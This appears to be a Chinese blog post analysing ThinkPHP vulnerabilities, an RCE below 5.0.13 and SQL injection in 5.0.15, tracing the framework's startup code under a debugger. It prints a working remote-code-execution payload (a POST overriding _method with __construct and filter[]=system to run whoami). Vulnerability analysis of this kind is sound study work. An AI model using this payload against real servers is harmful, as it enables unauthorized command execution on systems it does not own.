thinkphp漏洞浅析随笔

本文主要探讨了ThinkPHP框架的一些安全问题,包括低于5.0.13版本的远程代码执行(RCE)漏洞和5.0.15版本的SQL注入问题。作者通过分析RCE漏洞的POC,逐步跟踪了框架的执行流程,揭示了如何通过覆盖request对象并设置特定参数来实现命令执行。而对于SQL注入,作者指出在特定版本中,由于数据解析过程的问题,存在拼接注入的风险。
摘要由CSDN通过智能技术生成

thinkphp

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售。

菜鸡的迷惑

ThinkPHP时php平台上的MVC框架,MVC框架都包含对路由各种定制功能,菜鸡也曾在helloworld级别玩过flask,springMVC,这类框架大致都等
从一个统一入口点进入,然后更具一系列定义的url规则分配控制器,java方面都是统一在容器里配置好dispatcher_servlet,python方面定义也比较
直观。

刚启动thinkphp,看了几个演示demo,菜鸡一下子陷入迷惑,根据一些经验给出先验猜测,php应该是通过SERVER全局变量检查请求的url
来跟踪路由定义的,菜鸡的疑惑点出现在这里,菜鸡记忆中php,装在apache里应该是由apache先负责解析url,然后传递php文件进行解析的
根据demo上thinkphp的路由是这样的规则http://host/public/index.php/模块/控制器/操作/[参数名/参数值…]设计,形如java的
dispatchter_servlet那么index.php就是调度的开始,可是apache容器解析url,后面这么多目录,咋就变成交付给index.php处理了呢

菜鸡也不会直接去调试容器,一下次陷入懵逼,再次给出先验猜测,会不会fix_pathinfo这个配置有关?当即检查phpinfo,确实开启了
fix_pathinfo,根据php.ini中的注释,解释默认是开启的,菜鸡当机立断关掉fix_pathinfo,再次尝试访问/public/index.php/Index
果然返回错误,不过这个错误时fpm报出来的,并不是apache,看来要想理清楚还得查阅apache相关的资料,由后验结果看来,thinkphp看来
是要依赖fix_pathinfo来处理路由的定义。不过这也是菜鸡黑盒下给出的概率猜测,姑且先认为是这样。

thinkphp < 5.0.13 RCE

poc: 

POST /

_method=__construct&method=GET&filter[]=system&s=whoami

菜鸡现在开始分析thinkphp 5.0.13 的一个RCE问题,从网上搜索到POC,直接发送看看效果

在这里插入图片描述

果然神奇,启用XDebug,打开PHPStorm配置好,开始调试
根据之前的分析实验,大致对thinkphp执行流程有了一定的了解,借着这些基础,开始跟踪thinkphp的执行流
首先程序从index.php启动

<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2016 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

// [ 应用入口文件 ]

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

入口简单的加载了全局配置,并且引导了框架启动文件,现在跟踪查看start.php

<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2017 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

namespace think;

// ThinkPHP 引导文件
// 加载基础文件
require __DIR__ . '/base.php';
// 执行应用
App::run()->send();

base.php也是一系列相关的配置
run()->send()是整个程序执行的过程

    public static function run(Request $request = null)
    {
        is_null($request) && $request = Request::instance();//实际上就是初始化了一个请求对象,Resquest类可以通过instance方法返回自身,如果
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值